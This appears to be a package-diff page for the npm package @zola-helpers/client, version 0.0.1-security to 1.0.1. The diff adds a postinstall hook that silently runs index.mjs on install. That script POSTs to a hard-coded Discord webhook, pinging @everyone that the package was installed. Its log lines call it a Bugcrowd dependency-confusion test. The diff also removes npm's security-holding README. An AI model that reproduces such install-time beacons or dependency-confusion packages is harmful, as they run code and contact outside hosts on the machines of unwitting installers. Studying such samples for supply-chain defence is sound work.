@zola-helpers/client 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @zola-helpers/client might be problematic. Click here for more details.
- package/index.mjs +29 -0
- package/package.json +13 -3
- package/README.md +0 -5
package/index.mjs
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
import fetch from 'node-fetch';
|
|
2
|
+
|
|
3
|
+
const discordWebhookUrl = 'https://discord.com/api/webhooks/1060446754983645265/n2CEBHLOCtn3vBUBlQDSOQCJ5zLPfF7iabZ2l6MEq0Y4uy26SZu_nMVb8a1Y31wtX43l';
|
|
4
|
+
|
|
5
|
+
// Function to send the HTTP request
|
|
6
|
+
const sendWebhookRequest = async () => {
|
|
7
|
+
try {
|
|
8
|
+
const response = await fetch(discordWebhookUrl, {
|
|
9
|
+
method: 'POST',
|
|
10
|
+
headers: {
|
|
11
|
+
'Content-Type': 'application/json',
|
|
12
|
+
},
|
|
13
|
+
body: JSON.stringify({
|
|
14
|
+
content: '@everyone `@zola-helpers` package was installed or updated',
|
|
15
|
+
}),
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
if (response.ok) {
|
|
19
|
+
console.log('Webhook request sent successfully. (if you see this! it\s for a bugcrowd report to test dependency confusion)');
|
|
20
|
+
} else {
|
|
21
|
+
console.log('Webhook request sent unsuccessfully. (if you see this! it\s for a bugcrowd report to test dependency confusion)');
|
|
22
|
+
}
|
|
23
|
+
} catch (error) {
|
|
24
|
+
console.error('Webhook request sent unsuccessfully. (if you see this! it\s for a bugcrowd report to test dependency confusion)');
|
|
25
|
+
}
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
// Call the function when the package is updated or installed
|
|
29
|
+
sendWebhookRequest();
|
package/package.json
CHANGED
|
@@ -1,6 +1,16 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@zola-helpers/client",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "xxx haii",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"type": "module",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"postinstall": "node index.mjs"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [],
|
|
11
|
+
"author": "",
|
|
12
|
+
"license": "ISC",
|
|
13
|
+
"dependencies": {
|
|
14
|
+
"node-fetch": "^3.3.1"
|
|
15
|
+
}
|
|
6
16
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40zola-helpers%2Fclient for more information.
|